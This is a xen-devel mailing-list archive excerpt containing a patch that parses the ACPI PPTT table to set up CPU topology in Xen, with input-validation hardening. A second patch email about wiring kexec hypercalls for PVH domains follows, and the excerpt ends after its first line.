 b=hpPBfT2zTJBuJs4DbZMM07t7LVQyH4GgW3Q1zOQGqtC5FeISPRWYQQrRR/DgzQbJurY7sPFPGgUMUiwPj5J7nu3lTCSNirB8OqMflyDsycbf3sUuEdVWXUBdUDxXRYJkn3EAuN1A6e2hA6m8HZoMMWrEQzRB1Cq1paMvTmi0/mABVZ5lcxnuiZCllChxKme4O28tljFroayo1YGR3cvsGVjk4kaltk2Cdtf+yhxzUFMWSDnWRlXf7SDpL/bvOEKvEiHojp9q/7oW6cq9cPNs5H1/TcO5tTPoNJNqj3rhPOdOEFU/94hFOkHLpAeU5ETIaStkDB/v3uWwMF2sC37isA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=tFICUonHJZJoac1NdNgiIOkW7B7hkFZDYI80EIK19zA=;
 b=JnB/bNqQuTu+sduWN61XNodAJgz72ij6EAkmLzYDMVaZuyq/pr6V69FN2Mj1/WcuukQhuzk9frrfPbM9sARnaDKh0wqaW+p1e9Lj4nHRa2gDundHnJH5G00cWmXwmfphA1d7OF4SfX6cHZIFqMf7ecNmHmjh6l3RR97jY3SkRN1HrCGD5SmA/XSvYVXKQUQUVUcdHydqVhwEYmYLzwPUc6k0kvUx0yPTY1Rl+/9wJiV2iT3JGMppHGUrW2+GjkPDjzC+aIWEYKfgNIaSgdOwKunEyfifv+jXgkUIOnDSag16QBobwuszHJ4bmZuJ6cBYRXCwB1sOI4AKppquxu/OlQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=tFICUonHJZJoac1NdNgiIOkW7B7hkFZDYI80EIK19zA=;
 b=b8T92V/TMc0naS56rm0jgr61B/Ity7/vEvaFCLQRzONGnjba0+Nf87nRZEva0FzU1M0mEh+XCWSz6EKeyda458i/Cto/1aIsFUkzwWTzPTi9wlhM1JrBpvn3NSfcOC9pTXMQGTYY1yap0wu9CSN4IZ8KQhc+YB7r7ifswBlDWYI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v7 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Date: Tue, 21 Jul 2026 01:28:19 +0900
Message-ID: <20260720162819.308326-6-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720162819.308326-1-taka@valinux.co.jp>
References: <20260720162819.308326-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4PR01CA0107.jpnprd01.prod.outlook.com
 (2603:1096:405:378::15) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: 5bc73da9-5fa0-4adc-268b-08dee67c2c39
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|7416014|376014|6133799003|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	8txK6h/UuKvOyOuYQOf3aSxSD958FeJgHJqhSMyvSUhgR9UzVPF8RiiO5swpzGNfR3rdGS/28iihOHTxYtiBNUf0n3O7OS+DeWJWQqYheeIp2ZIwEnuGurEQsgq3I3HkUJKfWDcPKANhDXyxHv1f4/B8nI4WWfLpjwd9uXbrBk/LEwbxaXopTEdh/doQbtuA69Ntlf974C5MRPfye+onrtq2TbcKypNbHFtfc9LUo4lSLzx8G0ZiA9AJ4Bp0erxHnS/vkIT+y4ZxLaYVbEA1HUHCGLRvRLuawvVl1ImLm7gTHOQldztTVEIpa4bctKkzwLxsVKxp9pI7umtbaHYWCyNhIlsLl40yvp5SXVnozmZqgfkdTANkRp/f7pJj2p9U8yDZMQtL6XRs5CzuVYvwqZ+/UVQXO8dTJUzVjMoOSrLhs7UeECLBRVLcT99okkUInHegygbhbnro4AE/Mzrg/gLW/Ev8oHVMXWJDsnLZZqrT7zKxj4BACvog2Ly4yTDsyyhAdtWB8Af4FPjXl+BL+ZRr14uBq6j5+jQhuVosk+81KZ0yMTVEcTv+UT20DYi2oSm60lxPHPcaCsoNGaKnnD7u9kBM/82KFkgARsLNU4n5vw+gYEDJD0R9CKzu5CtkFgUsjToxMphswsblAtnUVOYai6iXXVUWSnlj/lOQw4M=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(7416014)(376014)(6133799003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?lr1wL0Mgs2eHoMqsLPI3T2YV6qwcjawbnfD+dTLTrO0fsulAvv3XMernJlEm?=
 =?us-ascii?Q?cMp35FQydFPeJiqXMuV+QAhKpZVlaQ4yMXqDtRjNiHzM6kHlougDdk+Y/GjM?=
 =?us-ascii?Q?FTSxq/j5iDCYbvGYRNkBezxMGIvNVxdWCVE+UtygOFb886vvltFdi/qobr4R?=
 =?us-ascii?Q?vi8E3ysCyPmgj35iEQrUAHLzxHs0XZzLOLtgGlgeoXhH/43QrU8b0J7D80WI?=
 =?us-ascii?Q?/kL8R51WzrANBIBFczK7rPWAJTZyo75Ts2V7QYO/xZHvuUnS0KZUalArDYzi?=
 =?us-ascii?Q?1jTSAfLdPQ2LXl1Z5Wy0ajntFEzOsiLuiRBQP2aj6wy8rcCRinOA7quIY05l?=
 =?us-ascii?Q?OAzgA6YxfMGQzxYpGvdl+A/h/4Ooaws4Dw0ZKYu1Kq/ziwqKIGN7zOGJ1GaD?=
 =?us-ascii?Q?jjOryUvFx8oH1YKrxXiJyCIjx3Q43h0SfeDf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FGTAnNioW2MjheZPay0Y?=
 =?us-ascii?Q?G31zmyncX8ZbHkSanKsLvtv3zXshF3YvDJDBo85edwdbl0pNoQm3CGsx+qm2?=
 =?us-ascii?Q?8xkIHmTaeCq7tZvTa8p4dXvSN4WiHw8/TdNjFTHV3qDmZGKGv+zvEaichmNW?=
 =?us-ascii?Q?93c2yKBGAy5B8mKBIaPW1gs6pgAKHXISlPOwbmVvuzk+ob5cK886ryefIp5t?=
 =?us-ascii?Q?79fzD2u2IQEiMtZrASLGNy9vxz8c59hMa56VTgDqeGkEhFYeYEdgZLKuJuLo?=
 =?us-ascii?Q?kSl8PwSaTHV04LGHzfpaZ2pAoLUa2S35jFvdTuLP/zqQYbKKTmmkDoJDXdXf?=
 =?us-ascii?Q?oOY5xIH+cEaaBYdI9HAnOD7kO95OSaVqBD5z6lrCyopeSdqC/G/wQI80bJtG?=
 =?us-ascii?Q?w5a3kLPnJmToOm1ZXDWPaHdI9odZlLxOH/NUWr3NZmLNtp/qjZp6adFJ1X49?=
 =?us-ascii?Q?EvVU28wCHQePecjdq4G/ibdFwfvV1lHY0jRuDfcm3ZK6DJcaCp1E5wAYnKqc?=
X-MS-Exchange-AntiSpam-MessageData-1: ZlKmJgnXlFIhCg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 5bc73da9-5fa0-4adc-268b-08dee67c2c39
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:30:12.6295
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: knT+IIRmVPIPw5ec6002AWJPpunaeqtRw6bHbCdoKzCMR/q0jmOVkj44tofl8++TZx7q/nVZMnxY32eaEkibGg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-d62444/1784565015-C5540757-E8DBCCDE/0/0
X-purgate-type: clean
X-purgate-size: 14249

Parse the ACPI PPTT (Processor Properties Topology Table) to
initialize the CPU topology.

For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
is checked to determine the presence of threading. For ACPI 6.2 and
earlier, CPUs are assumed not to support threading.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v7:
- PPTT Table Validation & Hardening:
  * find_pptt_node(): Added leaf node verification (ACPI 6.3+).
  * acpi_init_cpu_topology(): Added bounds checks to ensure proc->parent
    validly references memory strictly inside the PPTT table bounds.
  * Factored out shared table checking helper functions used by both
    find_pptt_node() and acpi_init_cpu_topology().
  * Added subtable alignment checks and strengthened processor structure
    size validation.

- Graceful Fallback & Allocation:
  * Treated missing topology definitions as benign conditions.
  * Used xvzalloc_array() for temporary memory allocations during
    initialization.

- Code Cleanups & Style Conformance:
  * Removed redundant error checks and reduced unnecessary pointer casts.
  * Switched type-based sizeof(type) to variable-based sizeof(*var).
  * Added leading spaces before labels ( out:)

 xen/arch/arm/acpi/boot.c        |   2 +
 xen/arch/arm/include/asm/acpi.h |   2 +
 xen/drivers/acpi/topology.c     | 312 ++++++++++++++++++++++++++++++--
 xen/include/xen/acpi.h          |   2 +
 4 files changed, 305 insertions(+), 13 deletions(-)

diff --git a/xen/arch/arm/acpi/boot.c b/xen/arch/arm/acpi/boot.c
index 4ac0fd8f51..fc7ecb5749 100644
--- a/xen/arch/arm/acpi/boot.c
+++ b/xen/arch/arm/acpi/boot.c
@@ -85,6 +85,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
             return;
         }
         bootcpu_valid = true;
+        acpi_map_cpu_acpiid(0, processor->uid);
         return;
     }
 
@@ -119,6 +120,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
 
     /* map the logical cpu id to cpu MPIDR */
     cpu_logical_map(enabled_cpus) = mpidr;
+    acpi_map_cpu_acpiid(enabled_cpus, processor->uid);
 
     enabled_cpus++;
 }
diff --git a/xen/arch/arm/include/asm/acpi.h b/xen/arch/arm/include/asm/acpi.h
index 13756dd341..b2e156e131 100644
--- a/xen/arch/arm/include/asm/acpi.h
+++ b/xen/arch/arm/include/asm/acpi.h
@@ -61,6 +61,8 @@ paddr_t acpi_get_table_offset(struct membank tbl_add[], EFI_MEM_RES index);
     (!(entry) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||	\
      (entry)->header.length != ACPI_MADT_GICC_LENGTH)
 
+#define INVALID_ACPIID		(-1U)
+
 #ifdef CONFIG_ACPI
 extern bool acpi_disabled;
 /* Basic configuration for ACPI */
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 56fcfa4945..2966117fef 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -4,33 +4,319 @@
 #include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+#define ACPI_PPTT_MAX_LEVELS 16
+
+static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = INVALID_ACPIID
+};
 
 /*
- * TODO: Populate the topology information by scanning the ACPI
- *       PPTT (Processor Properties Topology Table).
+ * The first argument 'cpu' is the logical CPU ID assigned by Xen,
+ * and the second argument 'acpi_id' is passed the 'uid' field from
+ * the ACPI MADT Generic Interrupt subtable.
  */
-int __init acpi_init_cpu_topology(void)
+void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
 {
-    unsigned int cpu;
+    map_cpu_acpiid[cpu] = acpi_id;
+}
+
+static unsigned int __init get_logical_id(unsigned int key,
+                                          unsigned int *map,
+                                          unsigned int *count)
+{
+    unsigned int id;
+
+    for ( id = 0; id < *count; id++ )
+        if ( map[id] == key )
+            return id;
+
+    map[*count] = key;
+
+    return (*count)++;
+}
+
+static bool __init verify_subtable(const struct acpi_subtable_header *entry,
+                                   const struct acpi_table_pptt *pptt)
+{
+    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
+
+    if ( entry->length < sizeof(*entry) || entry->length & 3 )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable length is invalid\n");
+        return false;
+    }
+
+    if ( (unsigned long)entry + entry->length > table_end )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable extends beyond table end.\n");
+        return false;
+    }
+
+    return true;
+}
+
+static bool __init verify_proc(const struct acpi_pptt_processor *proc)
+{
+    unsigned long table_size;
+
+    if ( proc->header.length < sizeof(*proc) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length is too small.\n");
+        return false;
+    }
 
     /*
-     * Generate temporary cpu topology information for now.
-     * It assumes that the cpu doesn't have SMT and all CPUs
-     * belong to the same socket.
+     * Each private resource is represented by a 32-bit resource ID.
+     * Ensure the structure length accurately accounts for the trailing array.
      */
+    table_size = sizeof(*proc)
+        + (unsigned long)proc->number_of_priv_resources * sizeof(uint32_t);
+
+    if ( proc->header.length != table_size )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length invalid.\n");
+        return false;
+    }
+
+    return true;
+}
+
+static const struct acpi_pptt_processor *__init find_pptt_node(
+    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
+{
+    const struct acpi_subtable_header *entry;
+    unsigned long table_end;
+    const void *ptr;
+
+    table_end = (unsigned long)pptt + pptt->header.length;
+
+    ptr = pptt + 1;
+
+    while ( (unsigned long)ptr + sizeof(*entry) <= table_end )
+    {
+        entry = ptr;
+
+        if ( !verify_subtable(entry, pptt) )
+            break;
+
+        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
+        {
+            const struct acpi_pptt_processor *proc;
+
+            proc = container_of(entry, const struct acpi_pptt_processor,
+                                header);
+
+            if ( !verify_proc(proc) )
+                break;
+
+            /*
+             * Leaf node verification is only required for ACPI 6.3
+             * (PPTT revision 2) or later.
+             */
+            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID)
+                 && proc->acpi_processor_id == acpi_id
+                 && (pptt->header.revision < 2
+                     || (proc->flags & ACPI_PPTT_ACPI_LEAF_NODE)) )
+                return proc;
+        }
+
+        ptr += entry->length;
+    }
+
+    return NULL;
+}
+
+/*
+ * Populate the topology information by scanning the ACPI PPTT
+ * (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    acpi_status status;
+    struct acpi_table_header *table_header;
+    const struct acpi_table_pptt *pptt;
+    unsigned int num_sockets = 0;
+    unsigned int num_clusters = 0;
+    unsigned int num_cores = 0;
+    unsigned int *socket_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *cluster_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *core_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int cpu;
+    int ret = 0;
+
+    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
+    if ( ACPI_FAILURE(status) )
+    {
+        /* A missing PPTT is benign; fall back to the default topology. */
+        ret = -ENODEV;
+        goto out;
+    }
+
+    if ( !socket_map || !cluster_map || !core_map )
+    {
+        printk(XENLOG_ERR
+               "ACPI: Failed to allocate memory for topology parsing.\n");
+        ret = -ENOMEM;
+        goto out;
+    }
+
+    pptt = container_of(table_header, const struct acpi_table_pptt, header);
+
     for_each_possible_cpu(cpu)
     {
+        uint32_t acpi_id = map_cpu_acpiid[cpu];
         struct cpu_topology *topo = &cpu_topology[cpu];
+        const struct acpi_pptt_processor *proc;
+        unsigned int level;
+        unsigned int core_group_key = 0;
+        unsigned int cluster_group_key = 0;
+        unsigned int socket_group_key = 0;
+        bool threading = false;
+
+        proc = find_pptt_node(pptt, acpi_id);
+        if ( !proc )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        /*
+         * Limit the maximum loop depth to prevent an infinite loop in case
+         * the PPTT is corrupted or contains cyclic references.
+         */
+        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
+        {
+            const unsigned int offset = (const void *)proc - (const void *)pptt;
+
+            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE )
+            {
+                socket_group_key = offset;
 
-        topo->phys_core_id = cpu;
-        topo->num_siblings = 1;
+                /*
+                 * If cluster/core info is absent upon reaching the physical
+                 * package, assume one cluster per socket and one core per
+                 * cluster.
+                 */
+                if ( cluster_group_key == 0 )
+                    cluster_group_key = socket_group_key;
 
-        cpumask_set_cpu(cpu, topo->thread_sibling);
-        cpumask_copy(topo->core_sibling, &cpu_possible_map);
-        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+                if ( core_group_key == 0 )
+                    core_group_key = cluster_group_key;
+
+                break;
+            }
+            else if ( level == 0 )
+            {
+                /*
+                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
+                 * revision 2 and later. Assume no threading support when
+                 * PPTT revision is 1.
+                 */
+                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
+                    threading = true;
+                else
+                    core_group_key = offset;
+            }
+            else if ( level == 1 )
+            {
+                if ( threading )
+                    core_group_key = offset;
+                else
+                    cluster_group_key = offset;
+            }
+            else if ( level == 2 && threading )
+                cluster_group_key = offset;
+
+            if ( !proc->parent )
+                break;
+
+            if ( (proc->parent & 3)
+                 || proc->parent < sizeof(*pptt)
+                 || proc->parent > pptt->header.length - sizeof(*proc)
+                 || (proc->parent + sizeof(*proc) > offset
+                     && proc->parent < offset + proc->header.length) )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent offset is invalid\n");
+                break;
+            }
+
+            proc = (const void *)pptt + proc->parent;
+
+            if ( proc->header.type != ACPI_PPTT_TYPE_PROCESSOR )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent node is not a processor structure\n");
+                break;
+            }
+
+            if ( !verify_subtable(&proc->header, pptt)
+                 || !verify_proc(proc) )
+                break;
+        }
+
+        if ( socket_group_key == 0 )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: Could not reach the physical package node for CPU %u (ACPI ID 0x%u)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        topo->phys_socket_id =
+            get_logical_id(socket_group_key, socket_map, &num_sockets);
+        topo->phys_cluster_id =
+            get_logical_id(cluster_group_key, cluster_map, &num_clusters);
+        topo->phys_core_id =
+            get_logical_id(core_group_key, core_map, &num_cores);
+    }
+
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        unsigned int tcpu;
+
+        for_each_possible_cpu(tcpu)
+        {
+            struct cpu_topology *ttopo = &cpu_topology[tcpu];
+
+            if ( cpu > tcpu )
+                continue;
+
+            if ( topo->phys_core_id == ttopo->phys_core_id )
+            {
+                cpumask_set_cpu(tcpu, topo->thread_sibling);
+                cpumask_set_cpu(cpu, ttopo->thread_sibling);
+            }
+
+            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
+            {
+                cpumask_set_cpu(tcpu, topo->cluster_sibling);
+                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
+            }
+
+            if ( topo->phys_socket_id == ttopo->phys_socket_id )
+            {
+                cpumask_set_cpu(tcpu, topo->core_sibling);
+                cpumask_set_cpu(cpu, ttopo->core_sibling);
+            }
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
     }
 
-    return 0;
+ out:
+    xvfree(socket_map);
+    xvfree(cluster_map);
+    xvfree(core_map);
+
+    return ret;
 }
 
 /*
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index cbb02e0f35..d2a1531893 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -137,10 +137,12 @@ static inline int acpi_boot_table_init(void)
 
 #ifdef CONFIG_ACPI_CPU_TOPOLOGY
 
+void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id);
 int acpi_init_cpu_topology(void);
 
 #else /* CONFIG_ACPI_CPU_TOPOLOGY */
 
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id) {}
 static inline int acpi_init_cpu_topology(void)
 {
     return -EOPNOTSUPP;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 18:58:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 18:58:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367367.1617148 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wltCA-0006Ky-Kv; Mon, 20 Jul 2026 18:58:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367367.1617148; Mon, 20 Jul 2026 18:58:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wltCA-0006Kr-IA; Mon, 20 Jul 2026 18:58:30 +0000
Received: by outflank-mailman (input) for mailman id 1367367;
 Mon, 20 Jul 2026 18:58:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wltCA-0006Kl-56
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:58:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wltC9-00AwZr-33
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:58:29 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a5e6fa4-5cb7-0a2a0a5109dd-0a2a4508e5e4-42
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:58:29 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a5e6fd4-f659-0a2a45080019-d155dd2ee5cf-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:58:28 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-47f707e5d75so1106825f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:58:28 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eea8afsm33778107f8f.33.2026.07.20.11.58.27
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 11:58:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1784573908; x=1785178708; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=5799y5iIIojFgzqH1Ihy5MpdLnEhNiqlo2EdcvUAiLs=;
        b=aboz95hAR0bzsCMq0DperwxgNGMDIlBwH4X5lK0LLwxP3DRnxbcnchsHF1PsyiY8js
         oDrt3BGlRVkYA3ORQPfVFVIguHff4c2MjUd8IBOltXubMDrBO+UV9O0cXNqjOUm1yM4t
         d373+MgGqJ5TP4eFhFMfkUfxay023V2Sc6lxw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784573908; x=1785178708;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=5799y5iIIojFgzqH1Ihy5MpdLnEhNiqlo2EdcvUAiLs=;
        b=V3fR5jzTXwEEXVjYzE4zlP2IK/2bTfVosmwWTmEWwgm2E9rfUq714M2vYPXQXLRhUV
         6R1CCB9ciVouUsvyok+VOgfxAdqGryRIIISmFCMYGtpU6UcFC8JnV9WMCjYDuwUaPZH5
         E6H3GPndHuUtZOZVqhTwn5pH+VRguME6ZDWM0UYDVLfrY9p4VNPpMJ9rN2uA142A5aTT
         KDfCMxxtfQH2jxoCBkEPKt4pq2+7oTTWj6kV8+xzgHG1AJOMtzG5zvpsCKsbLiR0NHvq
         leXkQqqei7VMc+k7eguIi59CGAGEr2Gy2WM8mdQABYTLNTcs+M/SNNcKqAW8I8cuneSQ
         SuCw==
X-Gm-Message-State: AOJu0YzzwFC2tEHTxBR/K3kP/OldW9/uyZURWZvJytki5Hl8iCVGlFW2
	WgAG+Km6Ex6l1TnuceDKnkSTrW3RYLebABY3R0fgUt8PYTtzx6dnu0k5itYJ++qXxliXKEDoV1P
	PV1927NE=
X-Gm-Gg: AR+sD11G9u0BO2aJ2zyZZ4rsbdcJYEq3pJ3D7Jk3PgzWBVBDLcH9PdbpVyIjoMnuSkc
	j4nL3F3wNdCU11W8eT6h5tD1I0fGUXufgn5WOh00PqmzjsbUGmypjPFKtE3h3KdCXG9DIYez+SG
	U31q/bP9F7jWVQr1Alia8lRGjUTF/FQJqaevQxC7onpkpfZvbX9PLUiQtzw0wOEjYgZVCHpcPRF
	d4pgVNiiXa4rkpleu+qYLLlqo/2VmtWbjubJm+bZKnbBD5dqw8f1sIRtK6yt4ynINOpE4OjiUTg
	0m3R2AJJlznjAjYtOFKbxebq8eW8jx4OPDBO24ftjixhkh/x+gWKx4Uuw/BEh2xBIsNkqlDUd13
	0tINTNYuMCIm5B7g8coSTGQDUfwmlsX1Cjh6Om+oT7pYRDEpgNVaqFMEahNu6/qNHN+3XoZbgAY
	3K/ipH2ojTERX1/1pqLXgjgIv0eIr44owd2c/2bERkp12ANA4fMVxI
X-Received: by 2002:a05:6000:2383:b0:47f:778a:60f0 with SMTP id ffacd0b85a97d-47f778a6147mr7208181f8f.4.1784573908108;
        Mon, 20 Jul 2026 11:58:28 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] xen/kexec: Wire up kexec hypercalls for PVH hardware domains
Date: Mon, 20 Jul 2026 19:58:25 +0100
Message-Id: <20260720185825.2204624-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784573908-D574B87B-316EE8D5/0/0
X-purgate-type: clean
X-purgate-size: 1564

Nothing in do_kexec_op() is PV specific.  Plumb in PVH guests too.

